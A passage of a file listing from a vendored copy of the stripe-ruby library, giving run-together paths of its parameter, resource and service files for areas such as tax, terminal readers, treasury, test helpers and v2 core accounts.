/lib/stripe/params/tax/registration_create_params.rbreference/references/stripe-ruby/lib/stripe/params/tax/registration_list_params.rbreference/references/stripe-ruby/lib/stripe/params/tax/registration_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/tax/registration_update_params.rbreference/references/stripe-ruby/lib/stripe/params/tax/settings_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/tax/settings_update_params.rbreference/references/stripe-ruby/lib/stripe/params/tax/transaction_create_from_calculation_params.rbreference/references/stripe-ruby/lib/stripe/params/tax/transaction_create_reversal_params.rbreference/references/stripe-ruby/lib/stripe/params/tax/transaction_line_item_list_params.rbreference/references/stripe-ruby/lib/stripe/params/tax/transaction_list_line_items_params.rbreference/references/stripe-ruby/lib/stripe/params/tax/transaction_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/tax_code_list_params.rbreference/references/stripe-ruby/lib/stripe/params/tax_code_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/tax_id_create_params.rbreference/references/stripe-ruby/lib/stripe/params/tax_id_delete_params.rbreference/references/stripe-ruby/lib/stripe/params/tax_id_list_params.rbreference/references/stripe-ruby/lib/stripe/params/tax_id_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/tax_rate_create_params.rbreference/references/stripe-ruby/lib/stripe/params/tax_rate_list_params.rbreference/references/stripe-ruby/lib/stripe/params/tax_rate_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/tax_rate_update_params.rbreference/references/stripe-ruby/lib/stripe/params/terminal/configuration_create_params.rbreference/references/stripe-ruby/lib/stripe/params/terminal/configuration_delete_params.rbreference/references/stripe-ruby/lib/stripe/params/terminal/configuration_list_params.rbreference/references/stripe-ruby/lib/stripe/params/terminal/configuration_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/terminal/configuration_update_params.rbreference/references/stripe-ruby/lib/stripe/params/terminal/connection_token_create_params.rbreference/references/stripe-ruby/lib/stripe/params/terminal/location_create_params.rbreference/references/stripe-ruby/lib/stripe/params/terminal/location_delete_params.rbreference/references/stripe-ruby/lib/stripe/params/terminal/location_list_params.rbreference/references/stripe-ruby/lib/stripe/params/terminal/location_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/terminal/location_update_params.rbreference/references/stripe-ruby/lib/stripe/params/terminal/onboarding_link_create_params.rbreference/references/stripe-ruby/lib/stripe/params/terminal/reader_cancel_action_params.rbreference/references/stripe-ruby/lib/stripe/params/terminal/reader_collect_inputs_params.rbreference/references/stripe-ruby/lib/stripe/params/terminal/reader_collect_payment_method_params.rbreference/references/stripe-ruby/lib/stripe/params/terminal/reader_confirm_payment_intent_params.rbreference/references/stripe-ruby/lib/stripe/params/terminal/reader_create_params.rbreference/references/stripe-ruby/lib/stripe/params/terminal/reader_delete_params.rbreference/references/stripe-ruby/lib/stripe/params/terminal/reader_list_params.rbreference/references/stripe-ruby/lib/stripe/params/terminal/reader_present_payment_method_params.rbreference/references/stripe-ruby/lib/stripe/params/terminal/reader_process_payment_intent_params.rbreference/references/stripe-ruby/lib/stripe/params/terminal/reader_process_setup_intent_params.rbreference/references/stripe-ruby/lib/stripe/params/terminal/reader_refund_payment_params.rbreference/references/stripe-ruby/lib/stripe/params/terminal/reader_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/terminal/reader_set_reader_display_params.rbreference/references/stripe-ruby/lib/stripe/params/terminal/reader_succeed_input_collection_params.rbreference/references/stripe-ruby/lib/stripe/params/terminal/reader_timeout_input_collection_params.rbreference/references/stripe-ruby/lib/stripe/params/terminal/reader_update_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/confirmation_token_create_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/customer_fund_cash_balance_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/authorization_capture_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/authorization_create_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/authorization_expire_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/authorization_finalize_amount_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/authorization_increment_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/authorization_respond_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/authorization_reverse_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/card_deliver_card_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/card_fail_card_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/card_return_card_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/card_ship_card_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/card_submit_card_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/personalization_design_activate_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/personalization_design_deactivate_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/personalization_design_reject_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/transaction_create_force_capture_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/transaction_create_unlinked_refund_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/transaction_refund_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/refund_expire_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/terminal/reader_present_payment_method_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/terminal/reader_succeed_input_collection_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/terminal/reader_timeout_input_collection_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/test_clock_advance_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/test_clock_create_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/test_clock_delete_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/test_clock_list_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/test_clock_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/inbound_transfer_fail_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/inbound_transfer_return_inbound_transfer_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/inbound_transfer_succeed_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/outbound_payment_fail_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/outbound_payment_post_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/outbound_payment_return_outbound_payment_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/outbound_payment_update_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/outbound_transfer_fail_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/outbound_transfer_post_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/outbound_transfer_return_outbound_transfer_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/outbound_transfer_update_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/received_credit_create_params.rbreference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/received_debit_create_params.rbreference/references/stripe-ruby/lib/stripe/params/token_create_params.rbreference/references/stripe-ruby/lib/stripe/params/token_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/topup_cancel_params.rbreference/references/stripe-ruby/lib/stripe/params/topup_create_params.rbreference/references/stripe-ruby/lib/stripe/params/topup_list_params.rbreference/references/stripe-ruby/lib/stripe/params/topup_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/topup_update_params.rbreference/references/stripe-ruby/lib/stripe/params/transfer_create_params.rbreference/references/stripe-ruby/lib/stripe/params/transfer_list_params.rbreference/references/stripe-ruby/lib/stripe/params/transfer_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/transfer_reversal_create_params.rbreference/references/stripe-ruby/lib/stripe/params/transfer_reversal_list_params.rbreference/references/stripe-ruby/lib/stripe/params/transfer_reversal_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/transfer_reversal_update_params.rbreference/references/stripe-ruby/lib/stripe/params/transfer_update_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/credit_reversal_create_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/credit_reversal_list_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/credit_reversal_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/debit_reversal_create_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/debit_reversal_list_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/debit_reversal_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/financial_account_close_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/financial_account_create_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/financial_account_features_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/financial_account_features_update_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/financial_account_list_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/financial_account_retrieve_features_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/financial_account_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/financial_account_update_features_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/financial_account_update_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/inbound_transfer_cancel_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/inbound_transfer_create_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/inbound_transfer_fail_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/inbound_transfer_list_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/inbound_transfer_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/inbound_transfer_return_inbound_transfer_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/inbound_transfer_succeed_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_cancel_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_create_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_fail_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_list_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_post_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_return_outbound_payment_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_update_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_cancel_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_create_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_fail_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_list_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_post_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_return_outbound_transfer_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_update_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/received_credit_create_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/received_credit_list_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/received_credit_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/received_debit_create_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/received_debit_list_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/received_debit_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/transaction_entry_list_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/transaction_entry_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/transaction_list_params.rbreference/references/stripe-ruby/lib/stripe/params/treasury/transaction_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/v2/billing/meter_event_adjustment_create_params.rbreference/references/stripe-ruby/lib/stripe/params/v2/billing/meter_event_create_params.rbreference/references/stripe-ruby/lib/stripe/params/v2/billing/meter_event_session_create_params.rbreference/references/stripe-ruby/lib/stripe/params/v2/billing/meter_event_stream_create_params.rbreference/references/stripe-ruby/lib/stripe/params/v2/core/account_close_params.rbreference/references/stripe-ruby/lib/stripe/params/v2/core/account_create_params.rbreference/references/stripe-ruby/lib/stripe/params/v2/core/account_link_create_params.rbreference/references/stripe-ruby/lib/stripe/params/v2/core/account_list_params.rbreference/references/stripe-ruby/lib/stripe/params/v2/core/account_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/v2/core/account_token_create_params.rbreference/references/stripe-ruby/lib/stripe/params/v2/core/account_token_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/v2/core/account_update_params.rbreference/references/stripe-ruby/lib/stripe/params/v2/core/accounts/person_create_params.rbreference/references/stripe-ruby/lib/stripe/params/v2/core/accounts/person_delete_params.rbreference/references/stripe-ruby/lib/stripe/params/v2/core/accounts/person_list_params.rbreference/references/stripe-ruby/lib/stripe/params/v2/core/accounts/person_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/v2/core/accounts/person_token_create_params.rbreference/references/stripe-ruby/lib/stripe/params/v2/core/accounts/person_token_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/v2/core/accounts/person_update_params.rbreference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_create_params.rbreference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_delete_params.rbreference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_disable_params.rbreference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_enable_params.rbreference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_list_params.rbreference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_ping_params.rbreference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_update_params.rbreference/references/stripe-ruby/lib/stripe/params/v2/core/event_list_params.rbreference/references/stripe-ruby/lib/stripe/params/v2/core/event_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/webhook_endpoint_create_params.rbreference/references/stripe-ruby/lib/stripe/params/webhook_endpoint_delete_params.rbreference/references/stripe-ruby/lib/stripe/params/webhook_endpoint_list_params.rbreference/references/stripe-ruby/lib/stripe/params/webhook_endpoint_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/webhook_endpoint_update_params.rbreference/references/stripe-ruby/lib/stripe/request_options.rbreference/references/stripe-ruby/lib/stripe/request_params.rbreference/references/stripe-ruby/lib/stripe/resources.rbreference/references/stripe-ruby/lib/stripe/resources/account.rbreference/references/stripe-ruby/lib/stripe/resources/account_link.rbreference/references/stripe-ruby/lib/stripe/resources/account_session.rbreference/references/stripe-ruby/lib/stripe/resources/alipay_account.rbreference/references/stripe-ruby/lib/stripe/resources/apple_pay_domain.rbreference/references/stripe-ruby/lib/stripe/resources/application.rbreference/references/stripe-ruby/lib/stripe/resources/application_fee.rbreference/references/stripe-ruby/lib/stripe/resources/application_fee_refund.rbreference/references/stripe-ruby/lib/stripe/resources/apps/secret.rbreference/references/stripe-ruby/lib/stripe/resources/balance.rbreference/references/stripe-ruby/lib/stripe/resources/balance_settings.rbreference/references/stripe-ruby/lib/stripe/resources/balance_transaction.rbreference/references/stripe-ruby/lib/stripe/resources/bank_account.rbreference/references/stripe-ruby/lib/stripe/resources/billing/alert.rbreference/references/stripe-ruby/lib/stripe/resources/billing/alert_triggered.rbreference/references/stripe-ruby/lib/stripe/resources/billing/credit_balance_summary.rbreference/references/stripe-ruby/lib/stripe/resources/billing/credit_balance_transaction.rbreference/references/stripe-ruby/lib/stripe/resources/billing/credit_grant.rbreference/references/stripe-ruby/lib/stripe/resources/billing/meter.rbreference/references/stripe-ruby/lib/stripe/resources/billing/meter_event.rbreference/references/stripe-ruby/lib/stripe/resources/billing/meter_event_adjustment.rbreference/references/stripe-ruby/lib/stripe/resources/billing/meter_event_summary.rbreference/references/stripe-ruby/lib/stripe/resources/billing_portal/configuration.rbreference/references/stripe-ruby/lib/stripe/resources/billing_portal/session.rbreference/references/stripe-ruby/lib/stripe/resources/capability.rbreference/references/stripe-ruby/lib/stripe/resources/card.rbreference/references/stripe-ruby/lib/stripe/resources/cash_balance.rbreference/references/stripe-ruby/lib/stripe/resources/charge.rbreference/references/stripe-ruby/lib/stripe/resources/checkout/session.rbreference/references/stripe-ruby/lib/stripe/resources/climate/order.rbreference/references/stripe-ruby/lib/stripe/resources/climate/product.rbreference/references/stripe-ruby/lib/stripe/resources/climate/supplier.rbreference/references/stripe-ruby/lib/stripe/resources/confirmation_token.rbreference/references/stripe-ruby/lib/stripe/resources/connect_collection_transfer.rbreference/references/stripe-ruby/lib/stripe/resources/country_spec.rbreference/references/stripe-ruby/lib/stripe/resources/coupon.rbreference/references/stripe-ruby/lib/stripe/resources/credit_note.rbreference/references/stripe-ruby/lib/stripe/resources/credit_note_line_item.rbreference/references/stripe-ruby/lib/stripe/resources/customer.rbreference/references/stripe-ruby/lib/stripe/resources/customer_balance_transaction.rbreference/references/stripe-ruby/lib/stripe/resources/customer_cash_balance_transaction.rbreference/references/stripe-ruby/lib/stripe/resources/customer_session.rbreference/references/stripe-ruby/lib/stripe/resources/discount.rbreference/references/stripe-ruby/lib/stripe/resources/dispute.rbreference/references/stripe-ruby/lib/stripe/resources/entitlements/active_entitlement.rbreference/references/stripe-ruby/lib/stripe/resources/entitlements/active_entitlement_summary.rbreference/references/stripe-ruby/lib/stripe/resources/entitlements/feature.rbreference/references/stripe-ruby/lib/stripe/resources/ephemeral_key.rbreference/references/stripe-ruby/lib/stripe/resources/event.rbreference/references/stripe-ruby/lib/stripe/resources/exchange_rate.rbreference/references/stripe-ruby/lib/stripe/resources/file.rbreference/references/stripe-ruby/lib/stripe/resources/file_link.rbreference/references/stripe-ruby/lib/stripe/resources/financial_connections/account.rbreference/references/stripe-ruby/lib/stripe/resources/financial_connections/account_owner.rbreference/references/stripe-ruby/lib/stripe/resources/financial_connections/account_ownership.rbreference/references/stripe-ruby/lib/stripe/resources/financial_connections/session.rbreference/references/stripe-ruby/lib/stripe/resources/financial_connections/transaction.rbreference/references/stripe-ruby/lib/stripe/resources/forwarding/request.rbreference/references/stripe-ruby/lib/stripe/resources/funding_instructions.rbreference/references/stripe-ruby/lib/stripe/resources/identity/verification_report.rbreference/references/stripe-ruby/lib/stripe/resources/identity/verification_session.rbreference/references/stripe-ruby/lib/stripe/resources/invoice.rbreference/references/stripe-ruby/lib/stripe/resources/invoice_item.rbreference/references/stripe-ruby/lib/stripe/resources/invoice_line_item.rbreference/references/stripe-ruby/lib/stripe/resources/invoice_payment.rbreference/references/stripe-ruby/lib/stripe/resources/invoice_rendering_template.rbreference/references/stripe-ruby/lib/stripe/resources/issuing/authorization.rbreference/references/stripe-ruby/lib/stripe/resources/issuing/card.rbreference/references/stripe-ruby/lib/stripe/resources/issuing/cardholder.rbreference/references/stripe-ruby/lib/stripe/resources/issuing/dispute.rbreference/references/stripe-ruby/lib/stripe/resources/issuing/personalization_design.rbreference/references/stripe-ruby/lib/stripe/resources/issuing/physical_bundle.rbreference/references/stripe-ruby/lib/stripe/resources/issuing/token.rbreference/references/stripe-ruby/lib/stripe/resources/issuing/transaction.rbreference/references/stripe-ruby/lib/stripe/resources/line_item.rbreference/references/stripe-ruby/lib/stripe/resources/login_link.rbreference/references/stripe-ruby/lib/stripe/resources/mandate.rbreference/references/stripe-ruby/lib/stripe/resources/payment_attempt_record.rbreference/references/stripe-ruby/lib/stripe/resources/payment_intent.rbreference/references/stripe-ruby/lib/stripe/resources/payment_intent_amount_details_line_item.rbreference/references/stripe-ruby/lib/stripe/resources/payment_link.rbreference/references/stripe-ruby/lib/stripe/resources/payment_method.rbreference/references/stripe-ruby/lib/stripe/resources/payment_method_configuration.rbreference/references/stripe-ruby/lib/stripe/resources/payment_method_domain.rbreference/references/stripe-ruby/lib/stripe/resources/payment_record.rbreference/references/stripe-ruby/lib/stripe/resources/payout.rbreference/references/stripe-ruby/lib/stripe/resources/person.rbreference/references/stripe-ruby/lib/stripe/resources/plan.rbreference/references/stripe-ruby/lib/stripe/resources/price.rbreference/references/stripe-ruby/lib/stripe/resources/product.rbreference/references/stripe-ruby/lib/stripe/resources/product_feature.rbreference/references/stripe-ruby/lib/stripe/resources/promotion_code.rbreference/references/stripe-ruby/lib/stripe/resources/quote.rbreference/references/stripe-ruby/lib/stripe/resources/radar/early_fraud_warning.rbreference/references/stripe-ruby/lib/stripe/resources/radar/value_list.rbreference/references/stripe-ruby/lib/stripe/resources/radar/value_list_item.rbreference/references/stripe-ruby/lib/stripe/resources/recipient_transfer.rbreference/references/stripe-ruby/lib/stripe/resources/refund.rbreference/references/stripe-ruby/lib/stripe/resources/reporting/report_run.rbreference/references/stripe-ruby/lib/stripe/resources/reporting/report_type.rbreference/references/stripe-ruby/lib/stripe/resources/reserve_transaction.rbreference/references/stripe-ruby/lib/stripe/resources/reversal.rbreference/references/stripe-ruby/lib/stripe/resources/review.rbreference/references/stripe-ruby/lib/stripe/resources/setup_attempt.rbreference/references/stripe-ruby/lib/stripe/resources/setup_intent.rbreference/references/stripe-ruby/lib/stripe/resources/shipping_rate.rbreference/references/stripe-ruby/lib/stripe/resources/sigma/scheduled_query_run.rbreference/references/stripe-ruby/lib/stripe/resources/source.rbreference/references/stripe-ruby/lib/stripe/resources/source_mandate_notification.rbreference/references/stripe-ruby/lib/stripe/resources/source_transaction.rbreference/references/stripe-ruby/lib/stripe/resources/subscription.rbreference/references/stripe-ruby/lib/stripe/resources/subscription_item.rbreference/references/stripe-ruby/lib/stripe/resources/subscription_schedule.rbreference/references/stripe-ruby/lib/stripe/resources/tax/association.rbreference/references/stripe-ruby/lib/stripe/resources/tax/calculation.rbreference/references/stripe-ruby/lib/stripe/resources/tax/calculation_line_item.rbreference/references/stripe-ruby/lib/stripe/resources/tax/registration.rbreference/references/stripe-ruby/lib/stripe/resources/tax/settings.rbreference/references/stripe-ruby/lib/stripe/resources/tax/transaction.rbreference/references/stripe-ruby/lib/stripe/resources/tax/transaction_line_item.rbreference/references/stripe-ruby/lib/stripe/resources/tax_code.rbreference/references/stripe-ruby/lib/stripe/resources/tax_deducted_at_source.rbreference/references/stripe-ruby/lib/stripe/resources/tax_id.rbreference/references/stripe-ruby/lib/stripe/resources/tax_rate.rbreference/references/stripe-ruby/lib/stripe/resources/terminal/configuration.rbreference/references/stripe-ruby/lib/stripe/resources/terminal/connection_token.rbreference/references/stripe-ruby/lib/stripe/resources/terminal/location.rbreference/references/stripe-ruby/lib/stripe/resources/terminal/onboarding_link.rbreference/references/stripe-ruby/lib/stripe/resources/terminal/reader.rbreference/references/stripe-ruby/lib/stripe/resources/test_helpers/test_clock.rbreference/references/stripe-ruby/lib/stripe/resources/token.rbreference/references/stripe-ruby/lib/stripe/resources/topup.rbreference/references/stripe-ruby/lib/stripe/resources/transfer.rbreference/references/stripe-ruby/lib/stripe/resources/treasury/credit_reversal.rbreference/references/stripe-ruby/lib/stripe/resources/treasury/debit_reversal.rbreference/references/stripe-ruby/lib/stripe/resources/treasury/financial_account.rbreference/references/stripe-ruby/lib/stripe/resources/treasury/financial_account_features.rbreference/references/stripe-ruby/lib/stripe/resources/treasury/inbound_transfer.rbreference/references/stripe-ruby/lib/stripe/resources/treasury/outbound_payment.rbreference/references/stripe-ruby/lib/stripe/resources/treasury/outbound_transfer.rbreference/references/stripe-ruby/lib/stripe/resources/treasury/received_credit.rbreference/references/stripe-ruby/lib/stripe/resources/treasury/received_debit.rbreference/references/stripe-ruby/lib/stripe/resources/treasury/transaction.rbreference/references/stripe-ruby/lib/stripe/resources/treasury/transaction_entry.rbreference/references/stripe-ruby/lib/stripe/resources/v2/amount.rbreference/references/stripe-ruby/lib/stripe/resources/v2/billing/meter_event.rbreference/references/stripe-ruby/lib/stripe/resources/v2/billing/meter_event_adjustment.rbreference/references/stripe-ruby/lib/stripe/resources/v2/billing/meter_event_session.rbreference/references/stripe-ruby/lib/stripe/resources/v2/core/account.rbreference/references/stripe-ruby/lib/stripe/resources/v2/core/account_link.rbreference/references/stripe-ruby/lib/stripe/resources/v2/core/account_person.rbreference/references/stripe-ruby/lib/stripe/resources/v2/core/account_person_token.rbreference/references/stripe-ruby/lib/stripe/resources/v2/core/account_token.rbreference/references/stripe-ruby/lib/stripe/resources/v2/core/event.rbreference/references/stripe-ruby/lib/stripe/resources/v2/core/event_destination.rbreference/references/stripe-ruby/lib/stripe/resources/v2/core/event_notification.rbreference/references/stripe-ruby/lib/stripe/resources/v2/deleted_object.rbreference/references/stripe-ruby/lib/stripe/resources/webhook_endpoint.rbreference/references/stripe-ruby/lib/stripe/search_result_object.rbreference/references/stripe-ruby/lib/stripe/services.rbreference/references/stripe-ruby/lib/stripe/services/account_capability_service.rbreference/references/stripe-ruby/lib/stripe/services/account_external_account_service.rbreference/references/stripe-ruby/lib/stripe/services/account_link_service.rbreference/references/stripe-ruby/lib/stripe/services/account_login_link_service.rbreference/references/stripe-ruby/lib/stripe/services/account_person_service.rbreference/references/stripe-ruby/lib/stripe/services/account_service.rbreference/references/stripe-ruby/lib/stripe/services/account_session_service.rbreference/references/stripe-ruby/lib/stripe/services/apple_pay_domain_service.rbreference/references/stripe-ruby/lib/stripe/services/application_fee_refund_service.rbreference/references/stripe-ruby/lib/stripe/services/application_fee_service.rbreference/references/stripe-ruby/lib/stripe/services/apps/secret_service.rbreference/references/stripe-ruby/lib/stripe/services/apps_service.rbreference/references/stripe-ruby/lib/stripe/services/balance_service.rbreference/references/stripe-ruby/lib/stripe/services/balance_settings_service.rbreference/references/stripe-ruby/lib/stripe/services/balance_transaction_service.rbreference/references/stripe-ruby/lib/stripe/services/billing/alert_service.rbreference/references/stripe-ruby/lib/stripe/services/billing/credit_balance_summary_service.rbreference/references/stripe-ruby/lib/stripe/services/billing/credit_balance_transaction_service.rbreference/references/stripe-ruby/lib/stripe/services/billing/credit_grant_service.rbreference/references/stripe-ruby/lib/stripe/services/billing/meter_event_adjustment_service.rbreference/references/stripe-ruby/lib/stripe/services/billing/meter_event_service.rbreference/references/stripe-ruby/lib/stripe/services/billing/meter_event_summary_service.rbreference/references/stripe-ruby/lib/stripe/services/billing/meter_service.rbreference/references/stripe-ruby/lib/stripe/services/billing_portal/configuration_service.rbreference/references/stripe-ruby/lib/stripe/services/billing_portal/session_service.rbreference/references/stripe-ruby/lib/stripe/services/billing_portal_service.rbreference/references/stripe-ruby/lib/stripe/services/billing_service.rbreference/references/stripe-ruby/lib/stripe/services/charge_service.rbreference/references/stripe-ruby/lib/stripe/services/checkout/session_line_item_service.rbreference/references/stripe-ruby/lib/stripe/services/checkout/session_service.rbreference/references/stripe-ruby/lib/stripe/services/checkout_service.rbreference/references/stripe-ruby/lib/stripe/services/climate/order_service.rbreference/references/stripe-ruby/lib/stripe/services/climate/product_service.rbreference/references/stripe-ruby/lib/stripe/services/climate/supplier_service.rbreference/references/stripe-ruby/lib/stripe/services/climate_service.rbreference/references/stripe-ruby/lib/stripe/services/confirmation_token_service.rbreference/references/stripe-ruby/lib/stripe/services/country_spec_service.rbreference/references/stripe-ruby/lib/stripe/services/coupon_service.rbreference/references/stripe-ruby/lib/stripe/services/credit_note_line_item_service.rbreference/references/stripe-ruby/lib/stripe/services/credit_note_preview_lines_service.rbreference/references/stripe-ruby/lib/stripe/services/credit_note_service.rbreference/references/stripe-ruby/lib/stripe/services/customer_balance_transaction_service.rbreference/references/stripe-ruby/lib/stripe/services/customer_cash_balance_service.rbreference/references/stripe-ruby/lib/stripe/services/customer_cash_balance_transaction_service.rbreference/references/stripe-ruby/lib/stripe/services/customer_funding_instructions_service.rbreference/references/stripe-ruby/lib/stripe/services/customer_payment_method_service.rbreference/references/stripe-ruby/lib/stripe/services/customer_payment_source_service.rbreference/references/stripe-ruby/lib/stripe/services/customer_service.rbreference/references/stripe-ruby/lib/stripe/services/customer_session_service.rbreference/references/stripe-ruby/lib/stripe/services/customer_tax_id_service.rbreference/references/stripe-ruby/lib/stripe/services/dispute_service.rbreference/references/stripe-ruby/lib/stripe/services/entitlements/active_entitlement_service.rbreference/references/stripe-ruby/lib/stripe/services/entitlements/feature_service.rbreference/references/stripe-ruby/lib/stripe/services/entitlements_service.rbreference/references/stripe-ruby/lib/stripe/services/ephemeral_key_service.rbreference/references/stripe-ruby/lib/stripe/services/event_service.rbreference/references/stripe-ruby/lib/stripe/services/exchange_rate_service.rbreference/references/stripe-ruby/lib/stripe/services/file_link_service.rbreference/references/stripe-ruby/lib/stripe/services/file_service.rbreference/references/stripe-ruby/lib/stripe/services/financial_connections/account_owner_service.rbreference/references/stripe-ruby/lib/stripe/services/financial_connections/account_service.rbreference/references/stripe-ruby/lib/stripe/services/financial_connections/session_service.rbreference/references/stripe-ruby/lib/stripe/services/financial_connections/transaction_service.rbreference/references/stripe-ruby/lib/stripe/services/financial_connections_service.rbreference/references/stripe-ruby/lib/stripe/services/forwarding/request_service.rbreference/references/stripe-ruby/lib/stripe/services/forwarding_service.rbreference/references/stripe-ruby/lib/stripe/services/identity/verification_report_service.rbreference/references/stripe-ruby/lib/stripe/services/identity/verification_session_service.rbreference/references/stripe-ruby/lib/stripe/services/identity_service.rbreference/references/stripe-ruby/lib/stripe/services/invoice_item_service.rbreference/references/stripe-ruby/lib/stripe/services/invoice_line_item_service.rbreference/references/stripe-ruby/lib/strip